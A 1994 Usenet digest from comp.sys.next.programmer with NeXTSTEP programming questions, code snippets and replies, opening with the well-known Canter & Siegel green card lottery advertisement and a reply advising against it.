From: nike@indirect.com (Laurence Canter) Newsgroups: comp.sys.next.programmer,pgh.motss Subject: Green Card Lottery- Final One? Date: 12 Apr 1994 08:01:53 GMT Organization: Canter & Siegel Message-ID: <2odkhh$3gs@herald.indirect.com> Green Card Lottery 1994 May Be The Last One! THE DEADLINE HAS BEEN ANNOUNCED. The Green Card Lottery is a completely legal program giving away a certain annual allotment of Green Cards to persons born in certain countries. The lottery program was scheduled to continue on a permanent basis. However, recently, Senator Alan J Simpson introduced a bill into the U. S. Congress which could end any future lotteries. THE 1994 LOTTERY IS SCHEDULED TO TAKE PLACE SOON, BUT IT MAY BE THE VERY LAST ONE. PERSONS BORN IN MOST COUNTRIES QUALIFY, MANY FOR FIRST TIME. The only countries NOT qualifying are: Mexico; India; P.R. China; Taiwan, Philippines, North Korea, Canada, United Kingdom (except Northern Ireland), Jamaica, Domican Republic, El Salvador and Vietnam. Lottery registration will take place soon. 55,000 Green Cards will be given to those who register correctly. NO JOB IS REQUIRED. THERE IS A STRICT JUNE DEADLINE. THE TIME TO START IS NOW!! For FREE information via Email, send request to cslaw@indirect.com -- ***************************************************************** Canter & Siegel, Immigration Attorneys 3333 E Camelback Road, Ste 250, Phoenix AZ 85018 USA cslaw@indirect.com telephone (602)661-3911 Fax (602) 451-7617
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Indexing kit - Query language Message-ID: <1994Apr12.010452.27216@planon.qc.ca> Keywords: IXKit Indexing Kit Query Language QL Sender: yanik@planon.qc.ca (Yanik Crepeau) Date: Tue, 12 Apr 1994 01:04:52 GMT I have begun to explore IndexingKit (IXKit). I have discovered that the documentation presents the kit in a more complicated manner than it is actualy. I use an IXStoreDirectory to store my information in a File. A IXRecordManager is used to store Objective-C objects. The object stored in the IXKit database has two (2) keys: char *identification; unsigned long number; I have written the needed methods: - setIdentification:(const char *)anIdentification; - setNumber:(unsigned long)aNumber; - (unsigned long)number; - (const char *)identification; I have declared two (2) attributes to my IXRecordManager. The attributes' names are: "Identification" and "Number". Both attributes are connected to their equivalent methods (identification and number). I can use the method described by the IXCursorPositioning protocol named -setKey:andLength: to retreive any record using either the char * or the int key. I wanted to try the query language. If I type: whole(Identification "hello") or prefix(Identification "hel") or within(Identification "ell") everything work fine. But if I type: eq(Identification "hello") I don't have any good result. The documentation says that whole(Identification "hello") and eq(Identification "hello") are equivalent. The or() does not work. For Instance: or(within(Identification "hello"), whithin(Identification "bonjour")) does not work. The "Number" attribute seems useless in the IXKit QueryLanguage. If I type any query containing the "Number" attribute, I get nothing. I have tried: eq(Number 170) gt(Number 170) lt(Number 170) le(Number 170) ge(Number 170) but nothing work. (Objects with @selector(number) from 1 to 500 exist in the IX database). Does anyone have some good example of queries that work with or(), eq() or any number attribute? Thank you Yanik PS: Please answer by E-Mail. My site receive news with 1 week delay. -- Yanik Crepeau The power of OOP used to stop when Programmer the programmer typed "make". With Planon Telexpertise NEXTSTEP and PDO, that is not true E-Mail: yanik@planon.qc.ca (NeXT) anymore!
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: List and char *'s Message-ID: <Co4Jv9.wn@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <2o8kbo$79u@steffi.demon.co.uk> Date: Tue, 12 Apr 1994 02:21:09 GMT Robert Nicholson writes > NeXT have now released code that uses char *'s in a List Object. Where and what? > What's the concensus about this? I know a lot of people feel strongly > about doing that since I don't think size of struct Object * is always > guarantteed to equal sizeof char * > > So why don't they specialize Storage and use an instance of that > instead. I hope nobody actually does this in "real life" It's a bogus, stupid thing to do that breaks the defined paradigm of a list object. The implications for debugging, archival, interactivity with the runtime environment, etc. are all extremely negative and easily avoidable. There is no justification for such a stupid thing-- creating a Class to encapsulate (char *)'s that in a manner that can be flexibly manipulated with a list is trivial... If you don't aggree, answer these questions: - what happens the first time someone sends -makeObjectsPerform:? - what happens when someone trys to archive one of the lists? - what about -freeObject? - how about trying to identify what the list contains from gdb? NEXTSTEP is a DYNAMIC operating system that provides a bitchin' powerful runtime environment-- stupidty such as the above only works against the move to a real, fully-integrated, powerful and flexible working environment... The justification of "It's in MY application under MY control" no longer applies, folks-- the world is moving to open environments and the validity of the information in the runtime environment will be the key to successful development efforts... b.bum -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: PB suggestion for 3.3 Date: 12 Apr 1994 13:06:01 +0100 Organization: me organised, that's a joke. Message-ID: <2oe2r9$423@steffi.demon.co.uk> Currently Project Builder thinks it knows too much about the way the individual works. Take for instance, it assumes that projects contain certain types of files and in order to add to the types of files you have to go via custom makefiles. What I suggest is that PB have an expert mode whereby it allows the user to specify files of _any_ types for any type of project. It does so by representing the type as the Makefile name not "Classes" but MFILES. For instance, this would then make it trivial to add libraries to my palette project without having to go via OTHER_OFILES. A lot of people have also needed to support other types. I say expert mode because as a developer I do not need to know that MFILES are "Classes" etc etc. Or at the very least add Libraries to the allowable types for a Palette project. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: List and char *'s Date: 12 Apr 1994 13:22:24 +0100 Organization: me organised, that's a joke. Message-ID: <2oe3q0$4ab@steffi.demon.co.uk> References: <2o8kbo$79u@steffi.demon.co.uk> <Co4Jv9.wn@friday.com> bbum@friday.com wrote in comp.sys.next.programmer >Robert Nicholson writes >> NeXT have now released code that uses char *'s in a List Object. > >Where and what? Hi Bill, well I've discussed this with Brian Pinkerton before and he was aware and prepared to do that in _his_ original code for TubeTester (His code for his use only). Brian's cool. Unforunately, his code for TubeTester has slipped into a new NeXT MiniExample. The Random DBTableView example. - init { rowList = [[List alloc] init]; return self; } - loadData { unsigned int i, j; [self empty]; for (i=0; i < rows; i++) { [rowList insertObject:[[List alloc] initCount:columns] at:i]; for (j=0; j < columns; j++) { char *aString = [self getRandomString]; [[rowList objectAt:i] insertObject:(id) aString at:j]; // Is that cast safe? } } return self; } I'd suggest they rewrite it to use a subclass of Storage or just Storage itself. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: strange behaviour of [aView getBounds:&aRect] Date: 12 Apr 1994 13:31:52 +0100 Organization: me organised, that's a joke. Message-ID: <2oe4bo$4g9@steffi.demon.co.uk> References: <2odnsf$n72@vega.info.isbiel.ch> biscm@info.isbiel.ch wrote in comp.sys.next.programmer >Hello, > >When we tried to copy the contents of a view into a NXImage (see article before) we >encountered some strange things when we wanted to get the size of a view. > >We used a method like the following to do this: > >- copyViewToImage >{ > NXRect rect; > NXSize area; > NXStream *buffer; > > [self getFrame:&rect]; > area.width=rect.size.width; > area.height=rect.size.height; > > (...) > > image=[NXImage alloc]; >(*) [image initFromStream:buffer]; > [image setSize:&area]; > > (...) > > return self; >} Assuming that is a method of your view subclass ie. you have a handle on your window. Do this. after the image setSize (lose the initFromStream, change the [NXImage alloc] to [NXImage alloc] init]) Assuming area has the bounds of your view. just do this. [image lockFocus]; PScomposite(NX_X(&rect),NX_Y(&rect),NX_WIDTH(&rect),NX_HEIGHT(&rect),[window gstate], 0,0,NX_COPY); [image unlockFocus]; I have the following as a category method of NXImage - loadFromWindow:(Window *)window rect:(const NXRect *)rect xOffset:(float)xoff yOffset:(float)yoff { [self setSize:&(rect->size)]; if([self lockFocus]) { PScomposite(NX_X(rect), NX_Y(rect), NX_WIDTH(rect)-xoff, NX_HEIGHT(rect)-yoff, [window gState], xoff, yoff, NX_COPY); [self unlockFocus]; } else { return nil; } return self; } -- "C++ is the best C++ there is." (ASCII for text only messages)
From: hship@sinistar (Howard Ship) Newsgroups: comp.sys.next.programmer Subject: Conforming-ish postscript Date: 12 Apr 1994 13:53:42 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <2oe956$l1r@transfer.stratus.com> I'm working on a wrapper around the enscript program. However, I want to pull up the standard print panel, using printPSCode:. What I'm trying to do is have an off-screen view "fill in" ... I have when asked to print, it supplies a stream containg the output from enscript. Here's some code: - printList: list controller: sender { char filename [MAXPATHLEN + 1] = "/tmp/.enscript.000000.ps"; NXGetTempFilename (filename, 15); [sender printList: list toFile: filename]; psStream = NXMapFile (filename, NX_READONLY); [self printPSCode: self]; return self; } - copyPSCodeInside: (const NXRect *) rect to: (NXStream *) stream { char *streambuf; int length; int maxLength; NXGetMemoryBuffer (psStream, &streambuf, &length, &maxLength); NXWrite (stream, streambuf, length); NXClose (psStream); psStream = NULL; return self; } However, copyPSCodeInside: never seems to get called. What am I missing ... what better approach could I be taking? -- I want EARS! I want two ROUND BLACK EARS to make me feel warm 'n secure!! Howard Ship hship@zen.cac.stratus.com [NeXT Mail OK] `84 GPz 750 "I lurk not, neither do I flame." -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C%<9G-W:7-S($AE;'9E=&EC83M<9C!< M9FUO9&5R;B!#;W5R:65R.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT M>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P M-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QF,5QB,%QI,%QU;&YO;F5<9G,R M-%QF8S!<8V8P($DG;2!W;W)K:6YG(&]N(&$@=W)A<'!E<B!A<F]U;F0@=&AE M(`I<8B!E;G-C<FEP=`I<8C`@('!R;V=R86TN("!(;W=E=F5R+"!)('=A;G0@ M=&\@<'5L;"!U<"!T:&4@<W1A;F1A<F0@<')I;G0@<&%N96PL('5S:6YG(`I< M8B!P<FEN=%!30V]D93H*7&(P("X@(%=H870@22=M('1R>6EN9R!T;R!D;R!I M<R!H879E(&%N(&]F9BUS8W)E96X@=FEE=R`B9FEL;"!I;B(@+BXN($D@:&%V M92!W:&5N(&%S:V5D('1O('!R:6YT+"!I="!S=7!P;&EE<R!A('-T<F5A;2!C M;VYT86EN9R!T:&4@;W5T<'5T(&9R;VT@"EQB(&5N<V-R:7!T"EQB,"`N("!( M97)E)W,@<V]M92!C;V1E.EP*"EQF,"!<"BT@<')I;G1,:7-T.B!L:7-T(&-O M;G1R;VQL97(Z('-E;F1E<EP*7'M<"B`@8VAA<B!F:6QE;F%M92!;34%84$%4 M2$Q%3B`K(#%=(#T@(B]T;7`O+F5N<V-R:7!T+C`P,#`P,"YP<R([7`I<"B`@ M3EA'971496UP1FEL96YA;64@*&9I;&5N86UE+"`Q-2D[7`H@(%P*("!;<V5N M9&5R('!R:6YT3&ES=#H@;&ES="!T;T9I;&4Z(&9I;&5N86UE73M<"B`@7`H@ M('!S4W1R96%M(#T@3EA-87!&:6QE("AF:6QE;F%M92P@3EA?4D5!1$].3%DI M.UP*("!<"B`@6W-E;&8@<')I;G104T-O9&4Z('-E;&9=.UP*("!<"B`@<F5T M=7)N('-E;&8[7`I<?5P*7`HM(&-O<'E04T-O9&5);G-I9&4Z("AC;VYS="!. M6%)E8W0@*BD@<F5C="!T;SH@*$Y84W1R96%M("HI('-T<F5A;5P*7'M<"B`@ M8VAA<B`J<W1R96%M8G5F.UP*("!I;G0@;&5N9W1H.UP*("!I;G0@;6%X3&5N M9W1H.UP*("`@(%P*("!.6$=E=$UE;6]R>4)U9F9E<B`H<'-3=')E86TL("9S M=')E86UB=68L("9L96YG=&@L("9M87A,96YG=&@I.UP*("!<"B`@3EA7<FET M92`H<W1R96%M+"!S=')E86UB=68L(&QE;F=T:"D[7`I<"B`@3EA#;&]S92`H M<'-3=')E86TI.UP*("!P<U-T<F5A;2`]($Y53$P[7`H@(%P*("!R971U<FX@ M<V5L9CM<"EQ]7`I<"@I<9C$@2&]W979E<BP@"EQB(&-O<'E04T-O9&5);G-I M9&4Z"EQB,"`@;F5V97(@<V5E;7,@=&\@9V5T(&-A;&QE9"X@(%=H870@86T@ M22!M:7-S:6YG("XN+B!W:&%T(&)E='1E<B!A<'!R;V%C:"!C;W5L9"!)(&)E M('1A:VEN9S]<"EP*"EQP87)D7'1X-3(P7'1X,3`V,%QT>#$V,#!<='@R,3(P M7'1X,C8V,%QT>#,R,#!<='@S-S(P7'1X-#(V,%QT>#0X,#!<='@U,S(P7&9C M,%QC9C`@+2U<"DD@=V%N="!%05)3(2`@22!W86YT('1W;R!23U5.1"!"3$%# M2R!%05)3('1O(&UA:V4@;64@9F5E;"!W87)M("=N('-E8W5R92$A7`H@7`I( M;W=A<F0@4VAI<"`@:'-H:7!`>F5N+F-A8RYS=')A='5S+F-O;2`@6TYE6%0@ M36%I;"!/2UT@(&`X-"!'4'H@-S4P7`H)(DD@;'5R:R!N;W0L(&YE:71H97(@ M9&\@22!F;&%M92XB7`H*7'!A<F1<='@Q,34R7'1X,C,P-%QT>#,T-39<='@T M-C`X7'1X-3<V,%QT>#8Y,3)<='@X,#8T7'1X.3(Q-EQT>#$P,S8X7'1X,3$U 0,C!<9F,P7&-F,"!<"@I]"C)< `
Newsgroups: comp.sys.next.programmer From: gerald@kurt.in-berlin.de (Gerald Erdmann) Subject: Re: How to make GMAKE on a NeXT Message-ID: <1994Apr12.082251.3500@kurt.in-berlin.de> Sender: gerald@kurt.in-berlin.de References: <2oatke$e7b@pilhuhn.pilhuhn.sub.org> Date: Tue, 12 Apr 1994 08:22:51 GMT In article <2oatke$e7b@pilhuhn.pilhuhn.sub.org> jr@sade.ka.sub.org (Jochen Richter) writes: > I tried to make GNU make on my NeXT without success. Can anyone mail me a built > gmake? Black or White? Gerald -------------------------------------------------------------- | GERALD ERDMANN | email: gerald @ kurt.in-berlin.de (NeXTmail welcome) | voice: +49 30 372 43 10 (Germany - Berlin) | crypt: pgp2 puplic key available
Newsgroups: comp.sys.next.programmer From: pfkeb@kaon.SLAC.Stanford.EDU (Paul F. Kunz) Subject: Re: new gcc under NSI 3.2? In-Reply-To: me@vigor.anatomy.upenn.edu's message of 29 Mar 1994 16:02:20 GMT Message-ID: <PFKEB.94Apr12070049@kaon.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center References: <2n9jec$7od@netnews.upenn.edu> Date: Tue, 12 Apr 1994 14:00:49 GMT >>>>> On 29 Mar 1994 16:02:20 GMT, me@vigor.anatomy.upenn.edu (Joe Panico) said: In article <2n9jec$7od@netnews.upenn.edu> me@vigor.anatomy.upenn.edu (Joe Panico) writes: > Has anyone ported the latest gcc compiler to NSI 3.2, and > successfully used it in objective-c++ mode to compile hybrid c++ NX > Toolkit Apps? Would like to hear any war stories. Thanks. As far as I can tell, Objective-C++ is not yet in GNU gcc on any platform. Gcc will accept the flag "-lang objc++", but that as far as it goes. Are there others out there that need this support? P.S. Objective-C from GNU gcc seems to work just fine. -- Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) Stanford Linear Accelerator Center, Stanford University Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
Newsgroups: comp.sys.next.programmer From: jrjesson@netcom.com (J.R. Jesson) Subject: Where is NeXTSTEP native emacs 19? Message-ID: <jrjessonCo5G4z.GrH@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Tue, 12 Apr 1994 13:58:11 GMT I *think* I remember conversations here months ago about someone doing an emacs 19 native NeXTSTEP port. whatever happened to that? Can I get it? By NeXTSTEP native, I mean a NeXTSTEP alternative to the emacs X-Window interface, not simply emacs 19 running on NeXT.
Newsgroups: comp.sys.next.programmer From: hyrh_ltd@uhura.cc.rochester.edu (Howard Yermish) Subject: Incredible Bouncing Login Panel Message-ID: <1994Apr12.130821.13304@galileo.cc.rochester.edu> Sender: news@galileo.cc.rochester.edu Organization: University of Rochester (Rochester, NY) Date: Tue, 12 Apr 94 13:08:21 GMT I have asked this same question around my school and nobody knows the answer... On the NeXT over at school (040 station Mach 3.0), the login panel acts as a screen saver by bouncing after being idle for five minutes. I want to have the same thing happen on my cube (030 cube Mach 3.0) for my login window. Any help is greatly appreciated. Thanks. Howard Yermish hyrh_ltd@uhura.cc.rochester No NeXT mail please...
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc From: irogers@theme.music.indiana.edu (Ian Rogers) Subject: Is it possible to change the title bar from the command line? Message-ID: <Co5Jwz.xI@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University Music Library, Bloomington Date: Tue, 12 Apr 1994 15:19:47 GMT Using Terminal (or Stuart if it's possible), can one change the title bar from the command-line? Please e-mail responses. Thanks, ian -- Ian Rogers Variations Technical Coordinator, Indiana University Music Library irogers@indiana.edu
From: kampp@nemesis (Ralf &) Newsgroups: comp.sys.next.programmer Subject: ColorWells in ScrollViews Date: 12 Apr 1994 12:43:57 GMT Organization: University Koblenz / Germany Message-ID: <2oe52d$frr@newshost.uni-koblenz.de> Hi out there ! Has anyone a remedy or workaround for the following phenomenon ? (NeXTstep 3.1, black machine) --> Colorwells won't display correctly if put in a ScrollView and scrolled around. (Try "Group in ScrollView" with some ColorWells in InterfaceBuilder, make ScrollView smaller so that scrolling becomes necessary and "Test Interface") Any help would be appreciated !! Ralf
From: droege@informatik.uni-koblenz.de (Detlev Droege) Newsgroups: comp.sys.next.programmer Subject: Re: How to get the REAL USER NAME Date: 12 Apr 1994 12:45:55 GMT Organization: University Koblenz / Germany Distribution: world Message-ID: <2oe563$g0e@newshost.uni-koblenz.de> References: <2o9fbt$b2f@senator-bedfellow.MIT.EDU> In article <2o9fbt$b2f@senator-bedfellow.MIT.EDU> zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > In article <2o374a$q7d@urmel.informatik.rwth-aachen.de> omeyer@rwthi3.informatik.rwth-aachen.de writes: > > >How do I get the real user name of the current user e.g. Oliver Meyer. > >Using NXUserName() I only get the login name, e.g. omeyer. > > I am not sure how to do this with NEXTSTEP commands, but with good old Unix > programming, you can do this: > > > #include <pwd.h> > > then somewhere in your source code, you can access the username by doing: > > struct passwd *userinfo = getpwuid(getuid()); > char *userFullName = (char*)malloc(strlen(userinfo->pw_gecos)+1); Partly ok, but not sufficient. Passwd(5) man pages say, that '&' may be in the full name field, which are to be substituted by the login name (capitalized). The finger command does this, NeXT software unfortunately doesn't (bug report is submitted). This is rather boring in the Fax panel, User.addresses and NewsGrazer, where my name is generated as 'Detlev &,1.95' from the (correct !) (YP/NIS) passwd entry 'droege:passwdpasswdX:21:50:Detlev &,1.95:/home/droege:/bin/csh'. Also, the rule to read anything behind a comma as romm number etc. isn't obeyed either by NeXT programs or by the above code. Here some example code to do this - taylor it for your needs. (Warning: uses static buffer - change for your needs !! ) --- static char *full_name(int uid) { static char *username = (char *)0; struct passwd *pwdentry; static char ubuf [128]; char * pc; pwdentry = getpwuid(uid); username = ((pwdentry) ? pwdentry->pw_gecos : ""); /* extended GECOS field handling, Detlev Droege, * droege@informatik.uni-koblenz.de, December 1991 */ if (pc = index (username, ',')) *pc = 0; /* strip ','-part of gecos field, clobbers pw_gecos !! */ if (index (username, '&')) { /* do '&' expansion */ pc = ubuf; while (*username) { if (*username == '&') { strcpy (pc, pwdentry->pw_name); *pc = toupper (*pc); while (*pc) pc++; /* == pc += strlen(..->pw_name) */ } else *pc++ = *username; username++; } *pc = 0; username = ubuf; } return username; } --- Detlev -- Detlev Droege, Uni Koblenz, FB Informatik, Rheinau 1, D-56075 Koblenz, Germany Tel: +49 261 9119-421, Fax: -497, NeXT/Email: droege@informatik.uni-koblenz.de
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Initialization order? Date: 12 Apr 1994 16:50:34 +0100 Organization: me organised, that's a joke. Message-ID: <2oeg0a$980@steffi.demon.co.uk> What is the correct order for initalization? (CustomViews specifically) Why for instance would you want outlets initalized _after_ the designated initializer is called? I just tried to make a View (NXDraggingDestination) get the registeredTypes from an object which is represented by an outlet in the View subclass. Low and behold the attempt failed because the object's outlet doesn't point to anything yet. It looks like I'm going to have to register the dragged Types in the outlet method itself. Now, how do the outlet methods fit into things like operating in "Test Interface Mode"? I assume that the setOutlet methods are called _after_ awake which isn't called in the case of CustomViews anyway. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: bbthomps@access.digex.net (Bryan Thompson) Newsgroups: comp.sys.next.programmer Subject: Millisecond timing, screen blanking, and BIOS on White. Date: 12 Apr 1994 12:31:13 -0400 Organization: Express Access Online Communications, Greenbelt, MD USA Message-ID: <2oeich$me2@access3.digex.net> The following routines on a 486 running DOS will check the state of certain keyboard buttons, enable / disable video refresh, and (most importantly for my needs) compute a time which is accurate in the millisecond range. I am writing some code to be used in reaction time studies on a 486 system running NeXTSTEP and I *need* to have very accurate and precise measurements of the elapsed time between the presentation of a visual stimulus (an image) and the subject's classification of that image (as recorded by removing pressure from a keyboard key -- i.e. the subject holds down the shift keys and alternate keys and releases one key to indicate a decision - this is much faster than pressing a key once you are used to it). Given that introduction, I am asking if I will be able to read the I/O ports as in the example timer() routine below when running under NeXTSTEP or if these actions will be construed as a violation of my right to program the machine. I'm sure that the underlying clock and, especially, the port are still merrily ticking away when running NS -- tell me if I'm wrong. By way of an explanation of the code, in case anyone else wants to use it, it functions (the timer code that is) by reading a post whose value is apparently decremented from 65536 to zero once every clock tick (which is basically 18.5 times per second). My understanding is that once the counter hits zero a clock tick is generated, but, again, I could be wrong. This code works under Borland 4.0 in a small code memory model. Thanks in advance, -- Bryan Thompson -- Cognitive Technologies, Inc. -- bbthomps@digex.net ------------------------------ << cut here >> ------------------------------ #include <stdio.h> #include <stdlib.h> #include <bios.h> #define my_bioskey(x) keyflags() int keyflags(void) { int flags; asm { push si; mov ah, 12h; /* function 12h: get extended shift states. */ int 16h; /* issue interrupt 16h. */ mov flags, ax; /* copy result to C variable. */ pop si; } return flags; /* pass result back to the caller. */ } /* disable refresh when passed one (1) and enable when passed zero (0). */ void refresh(char disable) { asm { push si; mov ah, 12h; mov bl, 36h; mov al, disable; int 10h; pop si; } } void timer(unsigned int* TimerTick, unsigned long* BiosTick) { asm { push si; mov bx, BiosTick; /* bx is pointer to BiosTick. */ mov ax, 40h; mov es, ax; /* ES is BDA segment. */ mov si, 6ch; /* SI is offset of system timer */ /* counter location control */ xor al, al; /* control byte 00h - latching, */ /* reading while counting. */ cli; out 43h, al; /* command to port 43h and */ mov cx, word ptr es:[si]; /* get BIOS timer counter. */ mov dx, word ptr es:[si+2]; /* near by with interrupt disabled. */ in al, 40h; /* read timer count on channel 0. */ xchg ah, al; in al, 40h; sti; xchg al, ah; test ah, 80h; /* timer count < 10000000b? */ jz read_ok; /* no overflow problem? jump to label */ cli; mov cx, word ptr es:[si]; /* get BIOS timer counter again. */ mov dx, word ptr es:[si+2]; /* near by with interrupt disabled. */ sti; read_ok: mov [bx], cx; mov [bx+2], dx; mov bx, TimerTick; /* get pointer to TimerTick. */ mov [bx], ax; /* store timer count. */ pop si; } *TimerTick = 0xffff - *TimerTick; /* reverse so that it counts from zero up vs from 0xffff down. */ }
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: List and char *'s Date: 12 Apr 1994 14:32:10 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2oebda$9vd@rosie.next.com> References: <2o8kbo$79u@steffi.demon.co.uk> In article <2o8kbo$79u@steffi.demon.co.uk> Robert Nicholson writes: > NeXT have now released code that uses char *'s in a List Object. > What's the concensus about this? I know a lot of people feel strongly > about doing that since I don't think size of struct Object * is always > guarantteed to equal sizeof char * The biggest problem here isn't that sizeof(id) might be different than sizeof(char *) some day... It's passing a non-object where an object is called for. What if List decided to send a message to its elements? How do those elements go across DO? Although putting strings in a List is less likely to break than putting floats, it's still as evil. Thanks for pointing out the problem. The example will be fixed. Ali, Ali_Ozer@NeXT.com
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: Beta-testers for NS_3.3! Date: 12 Apr 1994 13:51:24 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9404120713.AA00726@flexus> LS, If you're a beta-tester for NS_3.3, do get ``Known Bugs in NextStep'', available by anonymous ftp from cs.orst.edu in path /pub/next/documents, as files KBNS.* (with * a wildcard). There is a README.rtf. If you do not only care about whiz-bang PDO, it should give you a lot of inspiration, otherwise, definitely check out the string leakage. Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, %, .at or .uucp (? I should test this again)
From: erikkay@next.com (Erik Kay) Newsgroups: comp.sys.next.programmer Subject: Re: `Dimming' of icons Date: 12 Apr 1994 18:41:14 GMT Organization: NeXT, Inc. Message-ID: <2oeq0a$a7b@rosie.next.com> References: <1994Apr10.204832.3374@kira.net.netcom.com> In article <1994Apr10.204832.3374@kira.net.netcom.com> netcom.com!kira!davidjohn (David John Burrowes) writes: > In certain places, most notably on the shelves in the Workspace when a file > has been picked up to be moved, icons are drawn in a `dimmed' or `greyed' > fashion (on the shelves, it appears that all NX_DKGREY is drawn as NX_LTGREY > and NX_BLACK as NX_DKGREY). However, I am unable to figure out how to do > this with composite type operators. Basically, composite a white square with alpha set to 0.333 NX_SATOP your icon. (or NX_SOVER if you want to highlight the entire square) Hope that helps, Erik
From: Tim Bissell Newsgroups: comp.sys.next.programmer Subject: Re: DBTextFormatter question... Date: 12 Apr 1994 12:23:10 GMT Organization: Swiss Bank Corporation, High Timber St, London, UK Message-ID: <2oe3re$2c7@gpo.gb.swissbank.com> References: <1994Apr6.164007.22837@fnbc.com> In article <1994Apr6.164007.22837@fnbc.com> drew@fnbc.com (Drew Davidson) writes: > In article <2ntqci$3dr@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert > Nicholson) writes: > > I have a subclass of DBTextFormatter that when applied to a > > DBTableVector incorrectly draws it's text. .. > > My question. What is it that the DBTextFormatter does when it renders > > it's text? I need to copy that machinery. DBTextFormatter uses psxyshow to write its text out, which would explain your character spacing problems. Ask Dave Griffiths (dave@prim.demon.co.uk) I can't help any more, as I am off on holiday. See y'all in a couple of weeks. -- tim -- Work: bisselt@gb.swissbank.com | +44 71 711 2984 | Ducati 750SS Home: tim@ursidae.demon.co.uk | +44 480 451 022 | DoD#174
From: Michael Witbrock <mjw+@cs.cmu.edu> Newsgroups: pgh.motss,comp.sys.next.programmer Subject: Re: Green Card Lottery- Final One? Date: Tue, 12 Apr 1994 18:06:32 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <Ihelhc200hsBBMeW8M@cs.cmu.edu> References: <2odkhh$3gs@herald.indirect.com> In-Reply-To: <2odkhh$3gs@herald.indirect.com> You should probably not use this proported service. The procedure is extremely simple.
Newsgroups: comp.sys.next.programmer From: birk@artemis (Valerie Birk) Subject: Re: ESPRESSO a good product Message-ID: <1994Apr12.194947.6082@logibec.com> Sender: news@logibec.com Organization: Logibec Groupe Informatique Ltee, QC, Canada Date: Tue, 12 Apr 1994 19:49:47 GMT Hello, We at PSI have been following recent discussions in the news about our ESPRESSO! Developer product. We would like to thank those who have shown interest in the product, and take this opportunity to clarify some misunderstandings that have become apparent in recent publications and subsequent posting to news. ESPRESSO! Developer is not intended to replace the NeXTSTEP development environment on which it sits. The ESPRESSO! Developer environment is a tool designed to aid in rapid deployment of applications while maintaining consistency in interface behavior. The modular nature of ESPRESSO! Developer allows one to use as much or as little of the ESPRESSO! Developer capabilities as they like. There are no NeXTSTEP development capabilities that are unreachable in a program developed with ESPRESSO! Developer. The ESPRESSO! Developer environment is an extension to, and not a mask over, the NeXTSTEP development environment. ESPRESSO! Developer is not the right tool for all developers. Some people do not like development aids of any kind and are not in the market for them. We have worked hard to keep ESPRESSO! Developer as flexible as possible, while having it do a good deal of work for the developer. Of course, there is a trade off between ease of use and complexity; were we to make ESPRESSO! Developer as flexible as the NeXTSTEP development environment, it would have to be as complex, and would have no utility within the NeXTSTEP development environment. It is our sincere hope that ESPRESSO! Developer will fill a need for users who seek a tool to enhance speed in the development process . We have no desire to make ESPRESSO! Developer a mandatory part of the development process for every developer. Each developer must make a decision as to what will best suit their development needs, and carefully measure these needs against the capabilities and restrictions of ESPRESSO! Developer, or any other development aid. _____________________ Professional Software is a NEXTSTEP Registered Developer dedicated in 1989 to providing and promoting innovative development tools for the NeXT market place. Professional Software is based in Wakefield, MA. ESPRESSO! and ESPRESSO!Developer are trademarks of Professional Software, Inc.
From: gloger@dbulm1.uucp (Jochen Gloger) Newsgroups: comp.sys.next.programmer Subject: linker and library problem, help wanted !! Message-ID: <1994Apr12.183743.608@dbulm1.uucp> Date: 12 Apr 94 18:37:43 +0100 Organization: Daimler-Benz, Forschungszentrum Ulm Hello, I have a problem relating to UNIX libraries created by ar and ranlib. Suppose you have inserted an object file OBJ_A into an existing library LIB. Now you want to make a slight modification in the source file SRC_A of OBJ_A. You want to test it, but you need some object files from the above library LIB and you do not want to remove the object file OBJ_A from the library LIB. You compile the modified source SRC_A (resulting in OBJ_AA) without replacing OBJ_A in the library. Now, how can you force the linker to take exactly the object OBJ_AA instead of taking OBJ_A from LIB. Only adding it to the link list will cause an error like "multiple defined symbols". I know there is a linker option which should exactly provide such a functionality, but I was not very successful to make it work. What can I do??? Thanks in advance for every hint. Kind regards. Jochen =============================================================================== Jochen Gloger, Daimler-Benz AG, Research Center Ulm, Institute of Information Technology, Department of Text Understanding Phone: +49 731 505 2353, Fax: +49 731 505 4113 Address: Wilhelm-Runge-Str.11, P.O. Box 23 60, 89013 